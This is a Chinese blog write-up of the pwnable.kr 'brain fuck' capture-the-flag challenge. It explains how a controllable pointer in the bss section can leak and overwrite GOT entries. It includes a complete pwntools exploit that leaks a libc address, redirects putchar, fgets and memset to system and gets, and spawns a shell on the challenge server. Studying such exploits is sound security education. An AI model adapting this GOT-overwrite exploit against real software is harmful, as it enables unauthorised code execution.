pwnable brain fuck(bss段的用途)

本文深入探讨了在Pwn竞赛中利用控制指针修改got表的技巧,通过具体实例讲解如何泄露和修改函数地址,最终获取shell。适用于对Pwn攻防感兴趣的读者。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接传送门
这里题目跟网鼎杯线下赛的一个pwn有些相似。
输入一些字符可以控制一个指针,可以向这个指针指向的地址处写数据。
在这里插入图片描述
首先要知道bss段里面有什么。
在这道题里面的p指针的更高地址处是stdin,stdout,stderr然后是函数的got表,这里可以控制指针p泄露和修改got表。

#coding=utf-8
from pwn import *

p=0x0804a0a0
putchar=0x804a030
jmp=0x8048671

debug=0
if debug: 
	p=process("bf")
	elf=ELF("bf")
	libc=ELF("bf_libc.so")
	context.log_level="debug"
else:
	p=remote("pwnable.kr",9001)
	elf=ELF("bf")
	libc=ELF("bf_libc.so")
	context.log_level="debug"




p.recvuntil("type some brainfuck instructions except [ ]\n")
payload="."
payload+="<"*(112-4)+"<."*4+"<"#leak putchar
payload+=">,"*4+"<"*36+">,"*4  #reset puts,fgets
payload+="<"*4+'>'*28+'>,'*4+'.' #reset  memset

p.sendline(payload)
p.recv(1)#这里是为了调用put函数向got表中写入真实地址

puts_addr=u32(p.recv(4)[::-1])
print "puts_addr="+hex(puts_addr)


system_addr=libc.symbols["system"]+puts_addr-libc.symbols["putchar"]
p.send(p32(jmp))
print "system_addr="+hex(system_addr)
print hex(elf.got["putchar"])
gets_addr=libc.symbols["gets"]+puts_addr-libc.symbols["putchar"]
print "gets_addr="+hex(gets_addr)
p.send(p32(system_addr))
p.send(p32(gets_addr))


p.recvuntil("type some brainfuck instructions except [ ]\n")
p.sendline("/bin/sh\x00")

p.interactive()

需要注意的是这里的result = putchar(*(char *)p);函数好像直接复写它的got表就行了,但实际上这里的p
是一个字符,并不是一个指针

.text:0804863A                 mov     eax, ds:p       ; jumptable 080485FC case 46
.text:0804863F                 movzx   eax, byte ptr [eax]
.text:08048642                 movsx   eax, al
.text:08048645                 mov     [esp], eax      ; c
.text:08048648                 call    _putchar

所以让程序回到开始出再运行一遍获取到shell。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值